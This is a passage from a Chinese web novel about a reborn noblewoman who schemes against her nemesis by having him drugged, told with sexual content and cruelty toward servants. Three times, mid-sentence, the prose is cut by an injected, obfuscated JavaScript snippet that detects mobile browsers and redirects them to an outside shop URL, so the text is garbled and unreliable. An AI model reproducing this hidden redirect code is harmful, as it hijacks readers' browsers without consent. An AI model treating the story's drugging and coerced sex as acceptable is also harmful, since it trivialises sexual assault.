《杀不死便嫁与他》 1. 下药 “你敢咬我?!” 崔时清气恼地挥出巴掌,却被摁着腕子,抵在了身后。黑影随之覆下,薄凉的夏布掩不住热烫的身躯,她脸都绿了。 “等等!我给你准备了……”一位寡居多年、寂寞难耐的老妇人! 纪危舟勾着软嫩的后颈,低头堵住了她的声音。 灼热的气息烫得崔时清面皮发疼,活了九世也不曾尝过的滋味,让她脑子发昏,失神了须臾。在不满足的轻哼声中,唇瓣传来的刺痛,使她不自觉地轻启齿关。 “狗、东、呜……” 下颌被掐着不得挣扎,纪危舟长驱直入,痴缠着娇软的舌尖,搅乱一池春水。 崔时清厌恨地蹙着眉,但唇齿间梨香醉的余香,勾起了陌生的躁动,令她身软无力,被迫承受着属于男子的,霸道又灼人的体热。 想起命人投下的三倍动情药,足以泯灭一人的神智,她不由心慌。 出了什么差错? 他应该在思凉阁才是,怎么藏在了此处。 不该、不该过来的。 贴在耳廓上的呼吸湿濡了碎发,细密的吻顺着脖颈落下,啃咬过的肌肤,留下片片烧灼似的红痕。 “走、走开了!” 娇喘的嗓音不自知地勾人,纪危舟红着眼,指尖勾着衣裙上的丝绦,再不忍耐。 狭窄的假山暗洞里,湿雾雾的团云裹挟着他们,急不可耐地共赴高山。 崔时清向来是贪图享乐的,即便厌恨纪危舟,受了药物的影响,初尝云雨,得了些趣味,也不委屈自己,缠着纪危舟呢喃索求。 消解了渴意,她摸索着衣裙,想走,却忘了纪危舟还陷在雨雾中。指尖堪堪勾住裙角,就被掐着纤腰,再次陷入深海与远空。 * 思凉阁位于京都城郊庄园靠北的偏落中,沿溪河搭建,夏日凉爽,国公府中的主子们,时常在午后来此避暑。 轻绢如烟,思凉阁内,一室昏沉。 溪风拂过帐幔,隐约可窥见竹榻之上,如瀑缠绵的青丝。 阁楼外,传来窸窣的脚步声,暖黄的纱灯越来越明,伴着吵嚷。 “县主,县主可在?” “滚。” 崔时清眼皮也没睁开,随手掷出腕上的镯子,又伏在纪危舟的臂弯间,昏沉入睡。 “……在这儿,县主在阁内。” 门外的仆役以夹杂着兴奋的声音低语着,却不敢贸然入内。 谁能料到,国公府一众老小来庄园避暑的第一夜,在国公爷纪光的首肯下,小主子们只多用了几杯梨香醉。 国公爷的亲外甥女,世家之首的崔家十六娘永宁县主,会在回丹青院的路上失去了踪迹。 他们在庄园里翻了个底朝天,怎么也想不明白,丹青院与思凉阁,一南一北,永宁县主怎会在此处。 这丢了快一宿的金疙瘩,可把老夫人和国公爷都急坏了,现下正院还点着灯,等着消息。 在管事的安排下,留下几人守着阁楼,又派人去各院子送信。 来得最早的,是老夫人身边的钱嬷嬷,随后县主的奶娘柳氏、国公夫人的总掌事尤嬷嬷。 女娘子醉倒在思凉阁里,自不好让寻常的婢女、杂役近身。斥退了闲杂人等,取来衣物、热水,这才推门入内。 溪风灌入楼内,轻纱帐幔飞扬。 钱嬷嬷就着灯笼,探头搜寻了一圈,目光落在围屏之处,散落一地的衣物上。眸光微顿,倏然回了头,声音平稳,透着一丝少有的威严。 “风大,莫让县主受了凉。” 柳氏和尤嬷嬷察觉出了端倪,挡住众人的视线,令随身婢女也退出楼内,便关上了门。 望着地上的男子外袍和镶嵌着十八颗红宝石的御赐之物,三人面面相觑,都不由出了一身冷汗。 柳氏心跳如鼓,站在围屏之后,颤声轻唤。 “时娘可在?” 崔时清浑身酸疼,连嗓子也干涩得很,不高兴地瘪了瘪嘴,闭着眼睛委屈道:“阿姆,我、难受……” 细弱的声音,击碎了围屏之隔的三人,心中最后一丝侥幸。 柳氏急忙忙绕过围屏,看到了竹榻上,交颈而卧的一幕。 风马牛不相及的俩人,分明已存了夫妇之亲。 “……这,这!” 柳氏捂着嘴,进退两难之际,纪危舟掩了掩盖在崔时清身上的锦衾,轻哄着拍了拍背,望着来人,声音平静。 “衣物留下,三位且在外候着。” 钱嬷嬷和尤嬷嬷神色复杂,却没有拒绝,垂着眼把东西留下,挽住柳氏的手臂,拉她一同退至围屏之外。 崔时清昏昏沉沉,听到一声熟悉又讨厌的声音,不耐地锁着眉心,睁开了眼睛。黑漆漆的眸子还透着将醒未醒的水雾,湿蒙蒙的,却第一时间涌上了满眼的厌恶。 “讨厌的东西。”只把这当作恶梦,崔时清轻哼一声,又阖上眼睛。 “……”纪危舟的掌下,还是不着一缕的纤腰,微凉软嫩的肌肤,令人爱不释手。只这张嘴,不论如何调教,都还是让人恨得、想咬上一口。 纪危舟如此想来,低头啃了啃那片绵软。 “……呜!” 崔时清懵怔地瞪起双眼,唇瓣上的酥麻刺痛,让她感到有些费解,神色迷茫地窝在纪危舟的怀中,任其采撷着,记忆中的荒唐随之扬落尘泥,清晰无比地在眼前重新演绎了一遍。 荒唐、这也太荒唐了! 月光下,长睫颤动着,桃花眼填满了惊疑、懊悔、愤恨与恶意。 崔时清低喘着,攥紧了一支金钗,目光狠厉地盯着纪危舟,心乱跳不止。 ——还是,想要看见他的血。 纪危舟眼中含笑,他知道,崔时清又动了杀心。 眸色幽沉了几分,血气热烫不已,鼓噪着期待。托着纤腰的大掌用力把人揉入骨肉之中,撑起脖颈,把最脆弱的一面留给满心杀虐的女娘子。 注视着她,舌尖痴缠着,等待。 钗子抵着微仰的脖颈,刺破皮肤的瞬间,崔时清不可自抑地吞咽着纪危舟的气息,任由暴虐的冲动在内心深处,不断漾生着,眼眸中透着病态的沉沦。 杀了他! 也许这一次,会成功。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355188|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >崔时清凝视着九世死敌的眼睛,因深吻与杀虐,浑身酥麻发烫着。 “……三郎、县主,时候不早了。”天光还未大亮,尚可掩人耳目,再迟些,庄园上下都要清洗一通,才能掩盖得了此事。 钱嬷嬷的声音拉回了崔时清的理智,她眸光微凝,手中的动作亦停了下来。 不,不能冲动。 她杀不了天道之子。 但凡金钗再深一分,便会有人阻拦,取了她的性命。 如,之前惨死的八世,一样。 崔时清稍稍冷静,目光冰凉地望着纪危舟,扔下凶器的同时,推开了他。 “滚!” 纪危舟像是没有察觉到脖颈上的伤口,意犹未尽地扫了一眼水润的红唇,失望之余,也有些欣慰。 还是有长进的。 如此也好。 这一世你活得长久,也可陪我,熬过这生生世世、无趣的人生。 纪危舟垂眸,掩下了历经九世的厌腻,再抬起头,端着人人熟悉的假面,开口道。 “我也不知是怎么了,总是控制不住地想要亲近你。”纪危舟不时偷看一眼崔时清,又低低自语着,“……就不该贪饮,多用那两杯梨香醉。” 崔时清气恼地听着,面色变了又变。 这是崔时清重生的第九世。 她被诅咒一般,一遍又一遍地重复着之前的人生。 她不知自己错在何处。 第一世,不过是打杀了几个蠢奴,以她的身份,又算得了什么? 偏偏,舅父家的庶子,自诩高洁的纪危舟,竟敢端着表兄的姿态,训斥她。 她受了如此大辱,仅仅赏了纪危舟十鞭子,却被身边钦慕纪危舟的奴婢所害,毒发而亡。 岂有此理! 之后,她便陷入了轮回。 第二世,她亲手杀了背主的奴婢。在那柄带着暗勾倒刺的长鞭上,涂抹辣油,堵在纪危舟的必经之处。这次,她只抽了一鞭,就被路过的王尚书之女推入水中。那么、那么浅的水池,偏偏,她磕在了石头上,血尽而亡。 第三世,她准备了一把浸过毒药的匕首,在纪危舟的院子里,捅了他一刀,随从拼死阻拦,也给了她一刀。纪危舟活了下来,她却死了。 第四世,茶楼纵火,纪危舟被人救下,她烧成灰。 第五世,她很生气,搬了把椅子,在纪危舟的书房外大吵大闹。纪危舟不搭理她,其他几位同辈却看不过,与她轮番吵架。崔时清哪里受过这样的委屈,烈日下气急攻心,气死了。 第六世,她买通杀手,埋伏在山道,杀手眼瞎了,把花了五百两的雇主,埋了。 第七世,她太想弄死纪危舟了,急功近利下,一不小心杀了太多人,苦主联名告了御状,被判了五马分尸。 第八世,是她最接近成功的一次,纪危舟被逼至悬崖边,谁知晴空万里的好天气,她却被天雷,活活劈死。 惨死八次,坚强如她,也有了死亡的阴影。 可是,天老爷就是不肯放过,她再次重生在纪危舟游学归来之时。 一切又重新开始。 2. 成婚 八世轮回,世世死得悲壮凄惨,她劝服自己,收敛起一身反骨,以计谋之。杀人诛心,暂时杀不了,就先敲碎他的傲骨,摘去白玉无瑕的美名。 跌入泥沼里的天道之子,哪里还斗得过她? ——庄园避暑的第一夜,毁掉纪危舟的清白。 按照之前的轨迹,入庄园的第一夜,纪危舟会醉倒在思凉阁里,直到次日午间,打扫的杂役才会发现他,惹来众人一通取笑。 崔时清命人在纪危舟的酒中,加入三倍动情药,安排好一位寡居妇人候在思凉阁里,只待他自投罗网。 开始惜命的崔时清,可太喜欢这个阴毒的法子。 她耐着性子,熬了半夜,等到纪危舟踉跄地离开水榭高台。 一切都没有改变。 奶娘柳氏提前回了丹青院,留下两名婢女和小厮玉松。玉松被她派去尾随纪危舟,不让他偏离计划,碰了不该碰的人。而婢女们也回了院子,准备披风之物。 婢女迟迟未归,崔时清估摸着时辰,独自离席归去。 经过假山时,她看到了一个熟悉的背影。这个异样,是从没有过的,崔时清思量片刻,决定上前探查。 而后,计划以她不曾想过的方式,达成了预期。 可这又有什么用呢? 崔时清眼眶泛红,死死盯着纪危舟。 狗东西!真是邪了门了! 纪危舟仿佛没有看见崔时清眼中的恨意,珍而重之地扶着她的肩头,柔声道:“我们成婚,我会待你好的。” 崔时清歪着头,有些失神。 自他们初见时,纪危舟便看不惯她的娇奢,没有来她面前讨烦,啰嗦几句废话,都还算好的。何曾有过,这样温和甜嘴的时候? 即便她一贯都觉得,纪危舟温声含笑的模样,假惺惺的,让人不适。可她到底也没享受过这份待遇,这会儿难免感到新奇。 崔时清神情古怪地拢了拢身上的丝锦,黑漆漆的眸子在纪危舟的身上游移着。 这人,是生得不错,一身皮肉看着、也还行。兴许是在外游学两年,吃了苦头,并不似一般读书人那样瘦弱。宽肩窄腰,冷白的皮肤下,覆着一层薄薄的肌肉。 紧实,还硌牙。 崔时清莫名感到牙口一阵酸麻,脑子空了一瞬,又忽然瞪圆了桃花眼。 “成婚?我怎能嫁与你?” 并非崔时清自视甚高。 以世家之首崔氏嫡女的身份,连皇室子孙都上不得她的佳婿名录,遑论一介庶子? 更何况,纪危舟与她非亲非故,并不是国公府的血脉。 第七世,逼杀许姨娘的婢女时,从其口中得知。她的庶表兄,生下便是死胎,本该好生安葬,却被前院的嬷嬷抱走。过了两日,送还一名男婴,只道是被游医道长救下的。但许姨娘却知道,纪危舟绝非她的亲子。 崔时清派人暗中探查,始终没能查明纪危舟的身世。 这些,她也不在意。 崔时清在意的是,一个倚仗着国公府庶子的身份、血脉不明的人,怎好以表兄身份开罪于她? 而如今,仅仅与她有了一夜荒唐,竟然妄想与她成婚?! 谁给他的脸?就凭偏心眼的天老爷吗? 桃花眼中的嘲弄,不加掩饰。 纪危舟早已习惯,这个直白又轻蔑的眼神。舌尖抵了抵上颚,压下唇角的笑,眸光清明地望着她。 “……软软又为何,不能嫁我?” 为何?还用说吗? ……欸,软、软软?! 崔时清又羞又怒,瞪着双眼,气得呼吸不畅,一脸被人冒犯地指着纪危舟。 “谁允许你这样唤我?” 话落,崔时清一蹬脚,欲把纪危舟踢开,却忘了身体的疲软,还没把心头的怒火发泄出来,身形踉跄,歪倒在了竹榻上。 纪危舟稳坐不动,握着腰腹上的玲珑玉足,许是太过气愤,小巧的脚趾尖还泛着惹眼的红粉。 丝锦散开,露出大片白嫩,星星点点的红痕指印遍布。 黑眸如墨,沉得看不见底。 “……嗯?”崔时清面露错愕,一时不知自己是怎么躺下的。 迷茫懵然的眸子,不由流露出稚幼软糯,衬着一双凌厉娇媚的桃花眼又纯又欲,可欺得紧。 纪危舟深深看了一眼,唇线微敛,垂下了长睫。被踢蹭过的皮肤却愈发的热烫,拢着脚踝的大掌稍稍收紧,指腹若有似无地摩挲着。 他向来知道,眼前的女娘子在恶毒的心肠外,有一副极好的皮囊。却不知,会让人如此心醉。 纪危舟犹疑一瞬,很快释然。欺身上前,把香软拥入怀中,低声诱哄着,一派温善纵容的模样。 “吓着了?勿怕,上过药,便不难受了。” 上药?上、药…… 崔时清仰起头来,恨得牙痒痒,面颊上的热意上下乱窜着,连脖子都红透了。 “你、你真不是人!你这、你就是狗东西!” “嗯,都是我的错,好软软,别气了。”纪危舟抚摸着掌下的纤腰薄背,连声安抚。 “好啊,不生气。” 崔时清微微挑起唇角,梨涡浅笑,眉眼无害地扬手挥掌。 ‘啪’的清脆一声,纪危舟的脸上多了一个掌印,指甲划过的抓痕渗出血珠。 崔时清的绝技之一,快准狠的巴掌大法。 瞅着自己的作品,她弯了弯眉眼,由衷地笑出声来。 “……你倒是乖了,也不躲。” 听着轻狂又恣意的笑声,纪危舟安静地望着崔时清。 奇怪得很,整整九世,仅有这么一位鲜活的人。世世撞得头破血流,偏就不肯服输,自在又随心地活着、死去。 既可怜,又让他忍不住地艳羡。 收紧手臂,环抱着崔时清,他低下头来,额头相抵。 “说好,不能生气了。” “嗯。”崔时清正高兴着,也就好脾气地应下。但她还是不喜欢和九世死敌这般亲近,指尖戳了戳他,轻嗤道:“走开,黏糊糊的,怪烦人。” 纪危舟浑不在意,仍旧搂抱着细腰,目光柔和地低语,“衣物送来了,我为你梳洗穿衣?” 崔时清犹豫了一下,仰头看着纪危舟的狭长眉眼,不知从何而来的不自在胜过了差使仇人的快意,她咬了咬唇,冷哼着。 “谁要你了?滚开,让我阿姆进来。” 纪危舟默然片刻,俯下身,拨了拨崔时清散落在肩头的乌发,“你身子不适,先回丹青院歇息,我会与长辈们请罪。” 想起昨夜的荒唐,崔时清有些头疼,思忖着,压低了声量。 “你在长辈跟前认了错,多磕几个头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355189|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,此事翻篇就是,不可攀扯我。”崔时清说完,又有些不放心,拽着纪危舟的发尾,小声威胁,“成婚是不可能的,这话不许再提,知道不?” 扣着纤白的腕子,纪危舟注视着崔时清,“你我已有夫妻之实,理应成婚。” 崔时清没忍住,翻了一个白眼,直言道:“崔氏之女,如何与你相配?” 不般配吗? 纪危舟记起了一人。 苏珏,文士大儒苏太傅的长孙,出生清流世家,与崔氏倒是门当户对。 因苏珏之父病逝,三年孝期之故,不曾谈婚论嫁。 上一世,三年之期一过,镇守西北南陵城的崔其沂便携妻子入京,筹备起崔时清的婚事。 想来,苏珏一直都是崔其沂认可的贤婿人选。 或许,两家已有口头婚约。 崔时清,是在等苏珏吗? 想起前世,一直追随着他的目光,他唇角微微上挑,托起明艳的小脸,轻轻抚摸着,“软软,你信天命吗?这世间万万,或许只有你我,才能相守。” 九世相随,生生世世的纠缠。 孽缘,亦是缘。 哪里,还容得下其他人? 崔时清心念微动,怔怔然地瞅着纪危舟,随即而来的,是恐惧。 “……你、你是,什么意思?” 他,在暗示什么? 崔时清的指尖扣弄着掌下丝锦,神经兮兮地看着纪危舟,似是要看清这层皮肉之下,是否藏匿了什么可怖的怪物。 纪危舟轻叹了一声,抚摸着崔时清的乌发,无奈又宠溺地轻语着。 “昨夜虽是酒后荒唐,但你我身心契合,人世间庸庸扰扰数十年,我们合该一起过的。” 说的是这茬子事儿? 崔时清端详着纪危舟的面容,见他神色如常,微蹙的眉心稍稍舒展片刻,又拧了拧。 “说的什么混账话,哪有为着那事,与人成婚的。”崔时清没好气地说完,又忍不住斜了纪危舟一眼。 虽说这狗东西生得漂亮,又会讨女子欢心,但毫不乖顺啊。 哪怕她真要寻欢作乐,也要找个乖巧懂事的,哪里轮得着纪危舟这厮了? 如此想着,崔时清感受到身子的疲软,忍不住出言嘲讽,“就你这样又老又啰嗦的,还是趁早打消了以色事人的念头,本县主可看不上你。” 纪危舟轻叹了一声,“我仅年长软软五岁,不老的。” “走开,喊我阿姆进来。”崔时清不想纠缠这些,语气不善地赶人。 “晚些时候,我再来看你。”纪危舟笑道。 崔时清没好气地瞪着纪危舟,推了推他,“别来,不想看到你。” 纪危舟摸了摸她的头,起身穿衣,召来远处静候的三人。 奶娘柳氏面色难看地瞥了一眼纪危舟,快步入内,扶起崔时清,看到她浑身青紫红痕,心疼得不得了。 “这可怎么了得?” 哪有这般磋磨女娘子的? 浑身的牙印,莫不是要吃人了! “……阿姆,我想回丹青院。”刚才还撑着的一口气,现下全散尽了,崔时清神色疲乏地靠在柳氏身上。 钱嬷嬷和尤嬷嬷连忙上前,帮着收拾妥当,围上披风,带上兜帽,遮得严严实实。背着崔时清出门,由着一顶软轿抬回了丹青院。 3. 理由 丹青院。 昨夜侍奉的奴婢小厮领了罚,院中已清洗过,没有留下任何痕迹和气味。 崔时清用了半碗甜粥,上过药便埋进绵软的锦衾中,睡得昏天暗地。 * 寿康院。 老夫人吴氏大半夜知道外孙女失踪,一直没睡,担心的不得了。这会儿,听到回禀,又愁得不行。 不该牵扯在一起的俩人,却酒后犯了浑,实在棘手得很。 吴氏面色冷沉地看着纪危舟面颊上的红痕,过了许久,揉了揉太阳穴,声音疲惫地开口问。 “三郎,欲意何为?” 纪危舟跪得笔直,仰视着高座上的老夫人,“祖母,孙儿要与时娘成婚。” “你想逼婚?”吴氏倏地坐直身子,语气不善地瞪着他,眼里尽是寒意。 思凉阁之事,已处理妥当。 正如她的外孙女所言,足以翻篇。 可是,这位名义上的庶孙,却顶着脸伤,堂而皇之来到她的院中。 ——把自己,打上了崔氏女的印记。 纪危舟抿了抿唇,并不在意吴氏的敌意。 国公府老夫人,和崔氏主家一样,向来溺爱崔时清,把她宠得无法无天。可以说,崔时清的娇奢自我、视人命如草芥的脾性,都是这些人教出来的。 崔时清的父母对此不满,却因身在西北,也有心无力。 “孙儿未存此心,只是想请祖母做主,向崔氏提亲。”纪危舟语气恭顺,让人挑不出错处。 吴氏面色稍缓,却还是端不出长辈的慈爱,摆了摆手,“时娘既已拒绝,三郎还是歇了这份心思吧。” “她会同意的。”纪危舟语气笃定。 吴氏蹙着眉头,面露狐疑地注视着纪危舟。 她记得,这俩小儿,一直是不对付的。不止崔时清心存厌恶,纪危舟也一样,看不惯对方的行事做派。 眼下这般求娶,此子想要什么? 吴氏心有不安地开口道:“三郎为何如此坚持?” 纪危舟掀唇淡笑了一下。 为何坚持迎娶? 他想知道,有他相助的崔氏恶女,这一世可以做到什么程度,能否改写所谓的天命。 哪怕不能,凭着她的有趣,也不亏。 这就是他的理由。 ——他,太无聊了。 连续九世,囚困于所谓的天命中,而崔时清是一把锋利的匕首,他想握着,划烂天道自以为是的嘴脸。 她必须属于他,成为他手中的利刃。 纪危舟望进吴氏的眼里,慢声道:“祖母,她生来尊荣,没有人比我更适合她。” 吴氏眸光微动,揣摩着只言片语后的深意。 世家看不上京都的过眼繁花,但在这里生活了数十年的吴氏,却深陷其中不得自拔。 可今上性情多疑古怪,她的独子镇国公纪光远离朝堂、赋闲在家,这才保住了国公府。却苦了她儿,一身抱负无处施展。 这么些年来,国公府的门楣日渐颓败,兴许在她闭眼之日,纪家在京都已占不得一席之地。 吴氏不动声色地拨弄着佛珠,淡声道:“三郎应该知道,世家不涉党争,在崔氏门楣之下,儿女情事皆算不得什么。” 纪危舟面不改色,“崔氏持正中立,足矣。” 吴氏靠在软枕上,看着纪危舟的神色却温和了许多。 夺嫡祸乱中,纪光冒着满门诛灭的风险,把先太子的遗孤,本该在东宫大火中丧命的皇太孙,藏在了府中。 此事,仅有她母子二人知晓。 吴氏阻拦不了独子的赤子之心,却始终忌惮着,唯恐给国公府招来灾祸。 然而随着他长大,在一众子孙中,越发的出众。吴氏心中的不喜被更多隐秘的期望所替代,对这位‘庶孙’也多了几分爱重。 总归,救下此子开始,国公府已与他绑在一起,荣辱与共。 吴氏斟酌着得失,卸去了一身的冷硬与防备,眉目慈爱地点了点头。 “三郎之心,祖母知晓了。但,软软是国公府和崔氏的宝贝疙瘩,若她不愿,此事便不能成。” 纪危舟垂下眸子,唇角噙着笑,腼腆地应声,“祖母放心,孙儿会好生与软软商议婚事,必然不会逼迫她。” 这位庶孙少年老沉惯的,少有这样生涩的模样,吴氏不由稀罕地多看了几眼,心中更是生出了一丝难言的自满。 她的乖软软,可是把这老小子迷得不行了! “既如此,回府前,和软软再来一趟,许多大事才好尽快定下章程。”吴氏眉眼含笑,望着纪危舟,“你阿爹那儿,祖母替你去说。” “让祖母受累了。”纪危舟恭敬地躬身行礼。 一老一少,一高一低。 俩人相视着,在无言中,达成了默契。 * 日落霞披,青葱般的手指从锦衾中探出,摸索了两下,长睫颤动着,睁开了迷蒙的桃花眼。 浑身的酸疼,让刚睡醒的崔时清动了起床气,扫落几凳上的瓷盏玉器,哑声吼道。 “人都死了吗!” 守在门外的桑麻、玄鱼被瓷碎的声音惊得发抖,连滚带爬站起身来,把准备好的茶水面汤端入屋里。 绕过地上的碎瓷残玉,来到床边,目光落在片片惹眼的青红咬痕上,浑身颤抖地压弯了腰。 “主子,奴婢伺候您用茶?”桑麻忍着惧意,低头问道。 崔时清没有回答。 她们知道,这是同意的。 桑麻弯腰跪在床边,扶起了香软的身子,从玄鱼手中取过清茶,小心翼翼地喂给崔时清。 往常,也不必这般给主子用茶,但…… 桑麻看了一眼松散的寝衣下,密布牙印的圆润肩头,连腕子也没有放过。 她越看,越是心惊。 干疼的嗓子,得了纾解,崔时清扬起黑漆漆的眼睛。桃花眼,本该最是含情娇媚的,在崔时清的面上,却更多的是冷傲寒气、弑杀疯狂。 她顺着桑麻的视线,瞅着手腕上的牙印,面色平静,但眸子却是黑雾般阴沉。 下一瞬,浑身的戾气再也压不住,她掐着桑麻的脖颈,狠狠把人摔到了地上。 倒在遍地碎瓷残玉上的桑麻,不自觉地发出了吃痛的闷声,随即想起主子的忌讳,连忙忍痛爬起,规规矩矩地跪在玄鱼的身边。 “奴婢知错,请主子责罚。” 崔时清强撑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355190|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着不适,坐直身子,目光冷沉地盯着跪在碎瓷上瑟瑟发抖的人,声音里沁了杀意。 “抬起头。” 她们不敢不从,面无血色地抬起头,寒气从骨头中发散,无法控制地颤抖着。 崔时清的眼神,在两名奴婢身上流转。 杀掉谁呢? 身体里的暴戾杀念,让她不可自抑地感到了阵阵酥麻,她很喜欢这种感觉,喜欢遍眼的血红。 崔时清眯起了眼睛。 桑麻,奶娘柳氏的女儿。阿姆那般疼爱她,爱她胜过了一切,想来是不会因为她杀掉一个女儿,而生气的。 不过,桑麻还算忠心,尚可留着。 崔时清眉心微动,余光落在玄鱼身上。 这名小奴婢,被她打杀过几次了?实在是胆小得很,次次哭哭啼啼的,她过了新鲜劲儿,也就感到腻烦了。 …… 崔时清想起晚秋,第一世中背叛她的奴婢,不由有些懊恼。 不该把那婢子留在府中。 崔时清心中百转千回了半晌,瞅着如羊羔般的水眸,失了兴致,索然无趣地托着腮。 “你们,都看到了什么?” 桑麻和玄鱼冷汗直下,顾不上磨破膝盖的碎瓷,慌乱地伏跪在地,扬声道:“奴婢什么都没有看到。” 崔时清弯起唇角,唇边漾起一对梨涡,上扬的眼尾含着桃花的粉白,丝甜娇媚。只带着恶意的嗓音,生生把这朵桃花,染得漆黑鬼魅。 “真是两张巧嘴,让我都不舍得,拔了你们的舌头。” 桑麻和玄鱼吓得失了魂,直待贴在地上的面颊,传来了疼痛,桑麻才冷静了几分。她把身子伏得更低,恭敬地开口道。 “主子,若是不喜奴婢的声音,奴婢愿作哑儿。请主子切勿动怒,保重贵体。” “奴婢亦是,求主子保重贵体!”玄鱼跟着颤声应和,眼中的泪却止不住地滚落。 崔时清轻嗤了一声,唇边的笑意散去,像是没有魂魄的精美瓷人,无悲无喜地看着她们。 她知道,桑麻在奶娘的教导下,忠心无比。而玄鱼,生性胆小,也从无背叛。拔了舌头,便用不得这二人,倒也麻烦了些。 莫名的,崔时清觉得自己,善良了。 这是怎么回事? 青葱的指头卷了几圈乌发,也没想明白。 但她知道,这一世要仔细筹谋,一步步毁掉纪危舟,令他众叛亲离、孤寡无助。 委实无法在其他无关紧要的人身上,浪费太多精力。 “怎么弄得脏兮兮的?”崔时清瞅着她们染红的裙袍,懒洋洋歪在床边,轻笑了一声,“起来答话。” “是。” 她们忍着钻入皮肤的碎渣,冷汗岑岑地站了起来。 “今日,可有什么趣闻?”崔时清端起茶盏,抿了一口清茶,饱含深意地睨着她们。 玄鱼立时抬起头来,望了一眼桑麻,见她点了点头,连忙开口。 “回主子,今儿二公子在河边钓起一只面盆大的鲫鱼,五姑娘跟着吵了许久要如何吃它,岂料鲫鱼好似成了精,趁着他们争吵之际,居然逃了,气得二公子连午饭都没用呢!” 崔时清面无表情地听完。 4. 儿戏 看着玄鱼满怀期待,极力想要邀宠的水汪汪的眼睛,崔时清嗤了声。 “我看你这细皮嫩肉的,想必与鲫鱼精一样的,好、吃。” 说完,在玄鱼惊恐的面色下,崔时清慢条斯理地掀起唇,露出了寒白的牙。 “主、主子,奴婢……不好吃的……” 玄鱼的声音,越来越低,最后一句更是几不可闻。知道搞砸的她,只得惨白着小脸,垂首弯腰,极力降低存在感。 唯恐,真被抓了出去,剥皮蒸煮。 桑麻暗叹了一声,在崔时清失了耐心之前,屈膝开口:“回主子,昨夜主子醉倒在思凉阁之事,已在庄园内传开了。” 崔时清目光一顿,看向桑麻,眼尾凌厉地微扬着。 昨夜动静太大,庄子里的下人散漫惯的,碎嘴的说几句闲话,她也不意外。 只是心中还是憋了一团气。 合着她算计了半天,反倒是替了纪危舟那狗东西,让人戏笑了? 岂有此理! 扣弄着她新得来的青玉蝉,崔时清眉眼阴郁地开口:“继续说。” “本来,只道主子酒浅,孤身在思凉阁里歇了一宿。但午间,有好事者提起了三公子面上的伤,说是、说是主子所为。虽然正院来人处置了几个碎嘴的,但,底下还是有了些闲话。”心底的惶恐让她的声线微颤,桑麻硬着头皮,据实回禀。 身为奶娘柳氏的女儿,桑麻幼时并不得常见生母。柳氏偶尔归家,也是嘴上心中都念叨着,她的小县主。 桑麻七岁时,家中要给她相配亲事。夫人给了恩典,许她入府服侍。母亲时时教导的,就是忠心。哪怕这份忠心会伤及性命,她也必须无条件的忠诚。 因为,崔氏十六娘的存在,改变了她的命运。 ——她不懂,却将其深深刻入骨血。 “呵,都说了什么?”崔时清面容冷寒,眼睛黑漆漆的,是让人看不清深处的幽沉。 桑麻忍不住膝软,伏跪在地,浑身颤抖着答话,“说是主子与三公子、酒后成了夫妇之事,还道、还道……” 崔时清的声音冷如寒冰,“还道?” 桑麻深吸了一口气,攥着一片碎瓷,刺入掌心的瞬间,红着眼睛说了下去。 “还道三公子糊涂,若与主子奉子成婚,落入了主子手中,是要任您磋磨一世的……” 崔时清瞳孔微缩,目光幽沉地盯着眼前之人,沉默不语。 谁也不知,她在想什么。 面色一时轻蔑、一时犹疑着,而后似是自暴自弃般,咬着红润的下唇,桃花眼都氤氲上了一层水雾,沾湿鸦黑卷翘的长睫。 直到柳氏端着一碗汤药入内,皱着眉头扫了一眼伏跪在地的俩人,低声怒斥道:“不争气的东西,怎的惹来主子不快了?!” 桑麻、玄鱼低头跪着,不敢回嘴。 崔时清收回纷杂的思绪,看向来人,眼尾的红晕惹得柳氏心底一抽,丝丝麻得酸疼。 “时娘若有不快,把婢子拖下去打几板子就是,何必自个儿生闷气?” 崔时清眉眼微动,问:“阿姆,玉松那狗东西呢?” 柳氏叹了一口气,让桑麻和玄鱼退下,来到崔时清身边:“正在偏房里关着,说是昨夜刚出去,人就跟丢了。” “这般不中用,也不必回国公府了。”崔时清神色恹恹地说。 “是,奴家会处理妥当的。”柳氏应声。 见小主子气闷的模样,也颇为无奈。不知为何,小主子要与一介庶子争锋,用的还是这样糟污的法子,偏偏没成,还损了自己。 端起汤药递与崔时清,柳氏心中既无奈又心疼。 “这是……”崔时清说完,顿时有了猜想。 神情不耐地扫了一眼平坦的腰腹,莫名涌起的酸胀,令她恼羞地耳根发烫。 她暗骂了一声,接过汤药,却没有用。看着漆黑浓郁的药汁,崔时清的耳边再次响起了桑麻的声音。 还可那样吗? 奉子成婚,嫁与他。 把他攥在手中,欺辱磋磨。 “时娘?”见小主子捧着汤药出神的模样,柳氏隐隐不安。 